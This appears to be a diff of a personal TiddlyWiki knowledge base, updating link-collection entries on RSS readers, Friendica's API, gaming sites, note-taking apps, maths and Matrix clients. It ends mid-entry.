{"title":"Free sharing","created":"20220923195125955","creator":"Octt","modified":"20231027100208949","modifier":"Octt","tags":"$:/i18n:en","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behavior is not to be confused with [[computer piracy]], which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.\n\n* \u003C\u003Clinkdescgit FreeMediaHeckYeah \"https://fmhy.pages.dev/\" \"The Largest Collection of Free Stuff On The Internet!\" \"https://github.com/fmhy\">>\n"}, {"title":"Freedom","created":"20230818074823101","creator":"Octt","modified":"20230818075008144","modifier":"Octt","text":"\u003C\u003C^wikipediaframe Freedom>>\n\n* [[Flash Drives for Freedom|https://flashdrivesforfreedom.org/]]\n"}, -{"title":"FreshRSS","created":"20230113225224277","creator":"Octt","modified":"20230813103800740","modifier":"Octt","tags":"RSS","text":"* Site: https://freshrss.org\n* Docs: https://freshrss.github.io/FreshRSS/\n* Source: https://github.com/FreshRSS\n* Docker: https://hub.docker.com/r/linuxserver/freshrss\n\n---\n\n* How to resolve many feeds not getting updated in time? --- Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].\n* [[[BUG] Preview images from YouTube feeds no longer working after updating to 1.21|https://github.com/FreshRSS/FreshRSS/issues/5170]] --- Only solution is to ''downgrade to v1.20.2''.\n"}, +{"title":"FreshRSS","created":"20230113225224277","creator":"Octt","modified":"20240128000924533","modifier":"Octt","page-cover":"https://source.unsplash.com/random?fresh,rss","tags":"RSS","text":"* Site: https://freshrss.org\n* Docs: https://freshrss.github.io/FreshRSS/\n* Source: https://github.com/FreshRSS\n* Docker: https://hub.docker.com/r/linuxserver/freshrss (wouldn't use it anymore, it was a pain to migrate from that to a manual config, more of a pain than it is to do the manual setup again, assuming you already have a web server ready)\n* My instance: https://feeds.octt.eu.org; if I keep it like this (don't privatize it) you can use it as a demo, it shows the feeds of some of my things\n\n---\n\n* How to resolve many feeds not getting updated in time? --- Configuration > Archiving > Do not automatically refresh more often than: [default should be 1 hour, set to a lower time].\n* [[[BUG] Preview images from YouTube feeds no longer working after updating to 1.21|https://github.com/FreshRSS/FreshRSS/issues/5170]] --- Only solution is to ''downgrade to v1.20.2''.\n"}, {"title":"Friendica","created":"20230113105935789","creator":"Octt","modified":"20230417200917567","modifier":"Octt","tags":"Fediverse $:/i18n:en","text":"\u003C\u003C^wikipediaframe Friendica en>>\n\n* https://friendi.ca/ - \u003C\u003C[ \"[[Git|https://github.com/friendica/friendica]]\">> \u003C\u003C[ \"[[Dev Wiki|https://github.com/friendica/friendica/wiki]]\">> \u003C\u003C[ \"[[User/Admin Wiki|https://wiki.friendi.ca/]]\">> \n\n!! ''API''\n\n~~The official API documentation is disorganized and possibly lacks some information, so~~ Apparently the good API documentation is [[on the GitHub Wiki|https://github.com/friendica/friendica/wiki/Friendica-API]], but I still need to build my own organized while I build my custom client.\n\n* Login is possible via basic [[HTTP]] authentication.\n* All routes can be examined from [[routes.config.php|https://github.com/friendica/friendica/blob/2023.03-rc/static/routes.config.php]].\n\n!!! ''Endpoints''\n\nEndpoints are present for clients implementing the Mastodon and Twitter protocols, as well as Friendica's own client-to-server protocol, but we only care about this last one.\n\nAll Friendica endpoints below are available at the `/api/` namespace.\n\n* They return [[JSON]] data by default.\n** Support many formats by suffix: `.{json|xml|rss|atom}`\n\n---\n\n* GET `/search`\n** `q=`Search Query\n\n!!!! ''Community Timelines''\n\n* [[#|https://github.com/friendica/friendica/wiki/Friendica-API#statusespublic_timeline--auth]] GET `/statuses/public_timeline` - Local\n\n* [[#|https://wiki.friendi.ca/docs/api-friendica#get_apistatusesnetworkpublic_timeline]] GET `/statuses/networkpublic_timeline` - Federated\n"}, {"title":"Frontend","created":"20240103004531936","creator":"Octt","modified":"20240103005832792","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Front-end web development\">>\n\n* [[FreeFrontend|https://freefrontend.com/]]\n\n* [[React-Grid-Layout|https://github.com/react-grid-layout]] and associated repositories (..., react-draggable, react-resizable)\n"}, {"title":"Game Boy","created":"20231218234453677","creator":"Octt","modified":"20231219000008684","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Game Boy\">>\n\n* [[Game Boy Development community|https://gbdev.io/]] --- //We are a non for profit collective of passionate developers and hackers working on development tools, homebrew games, emulators, preservation and documentation for the Nintendo Game Boy handheld console, the original gray brick from 1989// --- \u003C\u003C[# Git\"https://github.com/gbdev\">>\n"}, @@ -1183,7 +1186,7 @@ {"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"}, {"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"}, {"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"🎮","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The “padhacking” thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"}, -{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240119001124100","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, +{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240128004146233","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* \u003C\u003CThonky.com>> --- //Video Game Guides and More//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK it’s satire don’t ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"}, {"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240110011644718","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[Искусство кройки и шитья или возможность заменить игры в портативной игровой консоли SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"}, {"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"}, {"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"}, @@ -1239,7 +1242,7 @@ {"title":"Keyboard","created":"20230725112836922","creator":"Octt","icon":"⌨️","modified":"20231105214847933","modifier":"Octt","page-cover":"https://source.unsplash.com/random?keyboard","tags":"","text":"\u003C\u003C^wikipediaframe \"Computer keyboard\">>\n\n* \u003C\u003Clinkdesc \"Keyboard University\" \"https://www.keyboard.university\" \"The first and last resource you’ll ever need for mechanical keyboards. Courses and content for newcomers and expert builders alike.\">>\n\n* [[Monkeytype|https://monkeytype.com/]] --- //The most customizable typing website with a minimalistic design and a ton of features. Test yourself in various modes, track your progress and improve your speed// --- \u003C\u003C[ \"[[Git|https://github.com/monkeytypegame]]\">>\n"}, {"title":"Keyoxide:en","created":"20221104183123144","modified":"20230206111552181","modifier":"Octt","tags":"$:/i18n:en","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide"}, {"title":"Kindle","created":"20230205150256998","creator":"Octt","modified":"20230213164045762","modifier":"Octt","tags":"Amazon E-Paper TODO","text":"\u003C\u003CMediaWiki \"Amazon Kindle\" en 1>>\n\n\u003C!-- TODO: Add jailbreak and homebrew resources -->"}, -{"title":"Knowledge Management","created":"20230924123738131","creator":"Octt","modified":"20231008214320226","modifier":"Octt","tags":"Knowledge","text":"\u003C\u003C^wikipediaframe \"Knowledge Management\">>\n\nParadigms similar to this wiki:\n\n* \u003C\u003Clinkdescgit Dendron \"https://www.dendron.so\" \"The personal knowledge management (PKM) tool that grows as you do!\" \"https://github.com/dendronhq\">>\n* [[Obsidian|https://obsidian.md]]\n** \u003C\u003Clinkdescgit \"🏡 Obsidian Digital Garden\" \"https://dg-docs.ole.dev\" \"Publish your notes to the web, for free. In your own personal garden.\" \"https://github.com/oleeskild/obsidian-digital-garden\">> --- Nice thing but it's sad that navigation is really borked without JavaScript.\n\nThe \"Notion paradigm\", and alternative apps:\n\n* \u003C\u003Clinkdesc Notion \"https://www.notion.so\" \"Your connected workspace for wiki, docs & projects\">> --- it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements\n* \u003C\u003Clinkdescgit anytype \"https://anytype.io\" \"the everything app for those who celebrate trust & autonomy\" \"https://github.com/anyproto\">>\n* \u003C\u003Clinkdescgit AppFlowy \"https://appflowy.io\" \"open-source alternative to Notion for project management\" \"https://github.com/AppFlowy-IO\">>\n\nMisc:\n\n* [[Dynalist|https://dynalist.io]]\n"}, +{"title":"Knowledge Management","created":"20230924123738131","creator":"Octt","modified":"20240127234429703","modifier":"Octt","tags":"Knowledge","text":"\u003C\u003C^wikipediaframe \"Knowledge Management\">>\n\nParadigms similar to this wiki:\n\n* \u003C\u003Clinkdescgit Dendron \"https://www.dendron.so\" \"The personal knowledge management (PKM) tool that grows as you do!\" \"https://github.com/dendronhq\">>\n* [[Logseq|https://logseq.com/]] --- //A privacy-first, open-source platform for knowledge management and collaboration.// --- \u003C\u003C[# Git\"https://github.com/logseq\">>\n* [[Obsidian|https://obsidian.md]]\n** \u003C\u003Clinkdescgit \"🏡 Obsidian Digital Garden\" \"https://dg-docs.ole.dev\" \"Publish your notes to the web, for free. In your own personal garden.\" \"https://github.com/oleeskild/obsidian-digital-garden\">> --- Nice thing but it's sad that navigation is really borked without JavaScript.\n\nThe \"Notion paradigm\", and alternative apps:\n\n* \u003C\u003Clinkdesc Notion \"https://www.notion.so\" \"Your connected workspace for wiki, docs & projects\">> --- it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements\n** [[Notablog|https://github.com/dragonman225/notablog]] --- //Notablog is a static site generator that produce a minimalistic website for you from a Notion table.// --- \u003C\u003C#[ \"Author's site, and demo\" \"https://dragonman225.js.org/notablog.html\">>\n* \u003C\u003Clinkdescgit anytype \"https://anytype.io\" \"the everything app for those who celebrate trust & autonomy\" \"https://github.com/anyproto\">>\n* \u003C\u003Clinkdescgit AppFlowy \"https://appflowy.io\" \"open-source alternative to Notion for project management\" \"https://github.com/AppFlowy-IO\">>\n\nMisc:\n\n* [[Dynalist|https://dynalist.io]]\n"}, {"title":"KOReader","created":"20230213155238472","creator":"Octt","modified":"20230213162455677","modifier":"Octt","tags":"E-Paper Libre","text":"''[[KOReader|https://koreader.rocks/]]'' is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. It’s available for [[Kindle]], Kobo, PocketBook, Android and desktop Linux.\n\n* https://github.com/koreader\n"}, {"title":"Kotlin","created":"20231217005152232","creator":"Octt","modified":"20231223160619490","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Kotlin>>\n\n* [[Get type of a variable in Kotlin|https://stackoverflow.com/questions/45165143/get-type-of-a-variable-in-kotlin]] --- `if (var is Class) ...`\n* [[What's the difference between !! and ? in Kotlin?|https://stackoverflow.com/questions/44536114/whats-the-difference-between-and-in-kotlin]] --- when `obj` is null, `obj!!` throws `NullPointerException`, `obj?` returns `null`\n\n* [[How to do url encoding for query parameters in Kotlin|https://stackoverflow.com/questions/56942341/how-to-do-url-encoding-for-query-parameters-in-kotlin#56942734]] --- `URLEncoder.encode(text, \"utf-8\")`\n* [[How to create a JSONObject from String in Kotlin?|https://stackoverflow.com/questions/44295665/how-to-create-a-jsonobject-from-string-in-kotlin]] --- `JSONObject(\"\"\"{ \"name\": \"test\" }\"\"\")`\n"}, {"title":"Language","created":"20230216193546517","creator":"Octt","modified":"20231221185526833","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Language en>>\n\n; Misc\n: [[Help, is this arabic?|https://isthisarabic.com/]]\n\n!!!! Fictional and constructed languages\n\n* [[Elefen|https://www.elefen.org/]] --- //Elefen – “lingua franca nova” o “lfn” – es un lingua simple, desiniada per comunica internasional.//\n\n* [[A Complete Guide to Creating a New Language|https://summalinguae.com/language-culture/guide-creating-new-language/]]\n* [[How To Create a Fictional Language Only You Understand|https://www.dabblewriter.com/articles/how-to-create-a-fictional-language]]\n\n!!!! Translation\n\n* //''[[Glosbe|https://glosbe.com/]]'' is the biggest community-built dictionary.//\n* //''[[Tatoeba|https://tatoeba.org/]]'' is a collection of sentences and translations. It's collaborative, open, free and even addictive.// --- \u003C\u003C[# Git\"https://github.com/Tatoeba\">>\n\n* [[Il gender e la traduzione di videogiochi — Outcast|https://www.outcast.it/home/il-gender-e-la-traduzione-di-videogiochi]] - \u003C\u003Cmywarc 423>>\n\n; Tools\n: Machine translation: \u003C\u003ChttpsL DeepL.com>> | \u003C\u003ChttpsL Translate.Google.com>>\n:* \u003C\u003Clinkdescgit \"Lingva Translate\" \"https://lingva.ml\" \"Self-hostable alternative front-end and API for Google Translate\" \"https://github.com/TheDavidDelta/lingva-translate\">> \u003C\u003C[# \"Scraper Git\" \"https://github.com/thedaviddelta/lingva-scraper\">> --- note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)\n:* \u003C\u003Clinkdesc Mozhi\"https://codeberg.org/aryak/mozhi\" \"alternative-frontend for many translation engines\">> \u003C\u003C[# \"Scraper Git\" \"https://codeberg.org/aryak/libmozhi\">> (Google support broken as of 2023/11)\n"}, @@ -1266,12 +1269,13 @@ {"title":"Markdown","created":"20230202225920722","creator":"Octt","modified":"20230924230453499","modifier":"Octt","tags":"$:/i18n:en Markup","text":"\u003C\u003C^WikipediaFrame Markdown en>>\n\n* \u003C\u003Clink+desc+git \"Markdown Guide.org\" \"https://www.markdownguide.org\" \" The comprehensive Markdown reference guide\" \"https://github.com/mattcone/markdown-guide\">>\n* \u003C\u003CLink+Desc+Git \"Markdown Tutorial.com\" \"http://www.markdowntutorial.com/\" \"Lessons to help guide new writers into Markdown!\" \"https://github.com/gjtorikian/markdowntutorial.com\">>\n\n* \u003C\u003CLink+Desc+Git \"😇 Monastic Browser\" \"https://monastic.netlify.app\" \"Rebuild the innocent web with Monastic Markdown-first web browser\" \"https://github.com/rognoni/monastic-browser\">>\n"}, {"title":"Mastodon","created":"20230110220005274","creator":"Octt","modified":"20231223123334155","modifier":"Octt","tags":"Fediverse","text":"\u003C\u003C^wikipediaframe Mastodon_(social_network) en>>\n\n!!! ''Clients''\n\n* [[tooot|https://tooot.app/]] --- Simple and open source mobile (iOS/Android) client of Mastodon, started with a focus for Chinese community. --- \u003C\u003C[# Git \"https://github.com/tooot-app\">>\n* [[Pinafore|https://pinafore.social/]] --- Alternative web client for Mastodon (UNMAINTAINED) --- \u003C\u003C[# Git \"https://github.com/nolanlawson/pinafore\">>\n* [[Elk (alpha)|https://elk.zone/]] --- A nimble Mastodon web client --- \u003C\u003C#[ Git \"https://github.com/elk-zone\">>\n"}, {"title":"Math","created":"20230428183805649","creator":"Octt","modified":"20230428190437451","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe Math>>\n\n!!! ''Utilities''\n\n* [[Microsoft Math Solver|https://math.microsoft.com/en]] - Search engine for math solutions, guides, examples\n\n!!!! ''Geometry''\n\n* [[GeoGebra|https://www.geogebra.org/]] - //Graphing Calculator Suite// - \u003C\u003C[ \"[[Git|https://github.com/geogebra]]\">>\n* [[Desmos|https://www.desmos.com/]] - Another calculator suite\n\n!!!! ''Calculus''\n\n* [[Cymath|https://www.cymath.com/]] - Minimal Web CAS, works better than others\n* [[Photomath|https://photomath.com/]] - Mobile offline CAS app (badly programmed, requires Google Play Services on Android)\n* [[Symbolab|https://www.symbolab.com/]] - Web CAS, free version is limited\n* [[Wolfram Alpha|https://www.wolframalpha.com/]] - //Computational intelligence//\n** [[Wolfree Alpha|https://wolfreealpha.gitlab.io/input/]] - Hacked Wolfram Alpha webapp to show all data without Pro - \u003C\u003C[ \"[[Mirrors|http://web.archive.org/web/20230315050344/https://wolfreealpha.gitlab.io/mirror/]]\">> - \u003C\u003C[ \"[[Git|https://git.disroot.org/wolfree/wolfree-dockerfile]]\">>\n"}, +{"title":"Maths","created":"20240128004237537","creator":"Octt","modified":"20240128004515420","modifier":"Octt","tags":"","text":"\u003C\u003C^WikipediaFrame \"Maths\">>\n\n* [[Is there an arithmetic way to determine the greater of 2 numbers?|https://math.stackexchange.com/questions/1975483/is-there-an-arithmetic-way-to-determine-the-greater-of-2-numbers#1975484]] --- `((a+b)/2) + (abs(a-b)/2)`"}, {"title":"Matrix","created":"20230114154554721","creator":"Octt","modified":"20231229012541510","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Matrix","tags":"Internet TODO $:/i18n:en","text":"\\define MatrixGit(Repo:\"\") \u003C\u003C[ \"[[Git|https://github.com/matrix-org/$Repo$]]\">>\n\\define ElementGit(Repo:\"\") \u003C\u003C[ \"[[Git|https://github.com/element-hq/$Repo$]]\">>\n\n\u003C\u003C^wikipediaframe \"Matrix (protocol)\" en>>\n\n* https://matrix.org/\n* https://github.com/matrix-org\n* [[Matrix Specification|https://spec.matrix.org]] --- //The Matrix protocol specification// --- \u003C\u003C[# Git\"https://github.com/matrix-org/matrix-spec\">>\n\n; Clients\n: [[Element|https://element.io/]] --- //glossy Matrix collaboration clients// --- Flagship client; Web-Desktop and Mobile are different codebases --- \u003C\u003CElementGit>> \u003C\u003C[# \"Element Matrix Services SaaS Docs\" \"https://ems-docs.element.io/\">>\n:* [[Spaccamient|https://spacc-inc.github.io/Spaccamient/]] --- mobile-first Element Web fork --- \u003C\u003C[# Git\"https://github.com/Spacc-Inc/Spaccamient\">>\n:* //''[[SchildiChat|https://schildi.chat/]]'' is a feature-rich messenger for Matrix based on Element with some extras and tweaks.// --- \u003C\u003C[# Git\"https://github.com/SchildiChat\">>\n: [[Hydrogen|https://hydrogen.element.io/]] --- (WIP by Element team) //Lightweight matrix client with legacy and mobile browser support// --- \u003C\u003CElementGit hydrogen-web>>\n: [[FluffyChat|https://fluffychat.im/]] --- //open source, nonprofit and cute matrix messenger app// --- \u003C\u003C[ \"[[Git|https://gitlab.com/famedly/fluffychat]]\">>\n\n; Servers\n: [[Synapse|https://matrix.org/docs/projects/server/synapse]] --- //Matrix.org’s reference server// --- \u003C\u003C[ \"[[Git|https://github.com/matrix-org/synapse]]\">>\n\n; Bots\n: ''[[maubot|https://maubot.xyz/]]'' - //A plugin-based Matrix bot system// --- \u003C\u003C[ \"[[GitHub|https://github.com/maubot]]\">> \u003C\u003C[ \"[[GitLab (CI)|https://mau.dev/maubot]]\">> [\u003C\u003CMatrixLink \"#maubot:maunium.net\">>] \u003C\u003C[ \"[[Docs|https://docs.mau.fi/]]\">>\n: [[Matrix Hookshot|https://matrix-org.github.io/matrix-hookshot/latest/index.html]] --- //A bridge between Matrix and multiple project management services, such as GitHub, GitLab and JIRA.// --- \u003C\u003C[# Git\"https://github.com/matrix-org/matrix-hookshot\">>\n\n; Bridges\n: All by ''mautrix'': https://github.com/mautrix --- \u003C\u003C[ \"[[Docs|https://docs.mau.fi/]]\">>\n: All by ''mx-puppet'': https://gitlab.com/mx-puppet\n\n!!! Misc\n\n* [[Maunium sticker picker|https://github.com/maunium/stickerpicker]] --- //fast and simple Matrix sticker picker widget. Tested on Element Web, Android & iOS//\n* [[Third Room|https://thirdroom.io/]] (w/WebSG) --- //Open, decentralized, immersive worlds built on Matrix// --- \u003C\u003CMatrixGit thirdroom>>\n"}, {"title":"MeBoy:en","created":"20220923130111988","creator":"Octt","modified":"20230213162532349","modifier":"Octt","tags":"Emulation Gaming Nintendo [[Game Boy]] $:/i18n:en Libre","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform."}, {"title":"MediaWiki","created":"20230112112905496","creator":"Octt","icon":"🌻","modified":"20231227012335262","modifier":"Octt","page-cover":"https://source.unsplash.com/random?MediaWiki-Wiki-Wikipedia","tags":"$:/i18n:en Wiki","type":"","text":"\u003C\u003C^wikipediaframe MediaWiki en>>\n\n!! ''Resources''\n\n!!! ''Tools''\n\n* by [[WikiTeam|https://archive.org/details/wikiteam]] - //Tools for downloading and preserving wikis. We archive wikis, from Wikipedia to tiniest.\u003C\u003Cfnote \"As of 2020, WikiTeam has preserved more than 250,000 wikis.\">>// - \u003C\u003C[ \"[[Git WikiTeam|https://github.com/WikiTeam]]\">>\n** Modern WIP versions by [[mediawiki-client-tools|https://github.com/mediawiki-client-tools]]\n*** [[mediawiki-scraper|https://github.com/mediawiki-client-tools/mediawiki-scraper]] - //ongoing project to port the legacy wikiteam toolset to Python 3 and PyPI to make it more accessible//\n\n!!! ''Help and Learning''\n\n* [Web book] [[Working with MediaWiki|https://workingwithmediawiki.com/]] - 2nd edition, updated for 2022, by Yaron Koren\n\n* [[Help:Export|https://m.mediawiki.org/wiki/Help:Export]]\n** [[Manual:Backing up a wiki|https://m.mediawiki.org/wiki/Manual:Backing_up_a_wiki]]\n*** [[How to back up a MediaWiki server hosted on a remote Debian machine|https://gist.github.com/MichaelCurrie/a36bb5746a19e4b77160296baa14365d]]\n** [[Manual:Parameters to Special:Export|https://m.mediawiki.org/wiki/Manual:Parameters_to_Special:Export]]\n*** 